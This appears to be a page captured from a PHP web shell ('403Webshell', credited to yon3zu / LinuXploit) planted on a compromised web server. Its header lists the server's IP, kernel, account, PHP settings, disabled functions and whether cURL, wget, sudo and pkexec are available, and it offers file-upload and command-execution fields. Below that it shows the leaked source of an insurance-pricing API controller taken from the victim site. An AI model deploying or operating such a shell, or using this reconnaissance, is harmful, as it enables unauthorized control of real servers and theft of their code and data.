403Webshell
Server IP : 95.46.96.79  /  Your IP : 216.73.216.84
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux zaimer.uz 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : akslabs_uz_usr ( 1001)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/api/src/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sugurtatrip__usr95/data/www/sugurtatrip.uz/api/src/Api/KapitalController.php
<?php

namespace Api;

use Core\PriceLoader;
use Core\HttpClient;
use Core\ApiActions;
use Kapital\KapitalPriceModel;
use Kapital\KapitalPolicyModel;


class KapitalController extends PriceLoader {

    public function handle_request($request) {

        switch ($request['action']) {
            case ApiActions::REQUEST_OFFERS:

                $kapitalModel = $this->createKapitalPriceModel($request);
                $data = $request['data'];

                if(isset($data['countries_iso']) && !empty($data['countries_iso'])) {
                    return $kapitalModel->totalWithCountry();
                }

                if(isset($data['dateBirths']) && !empty($data['dateBirths'])) {
                    return $kapitalModel->total();
                }

                return $kapitalModel->initialRequest();
            case ApiActions::KAPITAL_CREATE_POLICY:
                $kapitalModel = $this->createKapitalPolicyModel($request);

                return $kapitalModel->createPolicy($request);
                
            default:
                return [
                    'message' => 'Action doesn\'t exist for this partner'
                ];
        }
    }
    public function getPrice($request) {

        return "KapitalPriceLoader";
    }

    public function prepareData($price ) {
        // Example data preparation
        return [
            'partner' => 'Kapital',
            'result' => $price,
        ];
    }

    private function createKapitalPriceModel($data) {
        $request_data = $data['data'];

        $startDate = $request_data['start_date'] ?? (new \DateTime())->format('d.m.Y');
        $endDate = $request_data['end_date'] ?? (new \DateTime('tomorrow'))->format('d.m.Y');
        $day = $request_data['day'] ?? 1;
        $programId = $request_data['program_id'] ?? 1;
        $activityId = $request_data['activity_id'] ?? 0;
        $groupId = $request_data['group_id'] ?? 1;
        $typeId = $request_data['type_id'] ?? 0;
        $multiId = $request_data['multi_id'] ?? 1;
        $dateReg = $request_data['date_reg'] ?? (new \DateTime())->format('d.m.Y');
        $dateBirths = $request_data['date_births'] ?? [];
        $countries = $this->mapCountriesToIds($request_data['countries_iso']) ?? [];

        return $kapitalModel = new KapitalPriceModel(
            $startDate,
            $endDate,
            $day,
            $programId,
            $activityId,
            $groupId,
            $typeId,
            $multiId,
            $dateReg,
            $dateBirths,
            $countries
        );
    }

    private function createKapitalPolicyModel($data) {
        $request_data = $data['data'];

        $applicant = $request_data['applicant'] ?? null;
        $insured = $request_data['insured'] ?? null;
        $countries = $request_data['countries'] ?? null;
        $startDate = $request_data['start_date'] ?? (new \DateTime())->format('d.m.Y');
        $endDate = $request_data['end_date'] ?? (new \DateTime('tomorrow'))->format('d.m.Y');
        $day = $request_data['day'] ?? 1;
        $programId = $request_data['program_id'] ?? 1;
        $activityId = $request_data['activity_id'] ?? 0;
        $groupId = $request_data['group_id'] ?? 1;
        $typeId = $request_data['type_id'] ?? 0;
        $multiId = $request_data['multi_id'] ?? 1;
        $dateReg = $request_data['date_reg'] ?? (new \DateTime())->format('d.m.Y');
        $dateBirths = $request_data['date_births'] ?? [];
        $countries = $this->mapCountriesToIds($request_data['countries_iso']) ?? [];

        return $kapitalModel = new KapitalPolicyModel(
            $applicant,
            $insured,
            $startDate,
            $endDate,
            $day,
            $programId,
            $activityId,
            $groupId,
            $typeId,
            $multiId,
            $dateReg,
            $dateBirths,
            $countries,
        );
    }

    private function mapCountriesToIds($countries) {
        $countryIds = [];
        $countriesListJSON = file_get_contents(__DIR__ . '/../Data/KapitalCountries.json');
        $countriesList = json_decode($countriesListJSON, true);

        $countryMap = [];
        foreach ($countriesList as $country) {
            $countryMap[$country['kod']] = $country['id'];
        }

        foreach ($countries as $countryCode) {
            if (isset($countryMap[$countryCode])) {
                $countryIds[] = $countryMap[$countryCode];
            }
        }

        return $countryIds;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit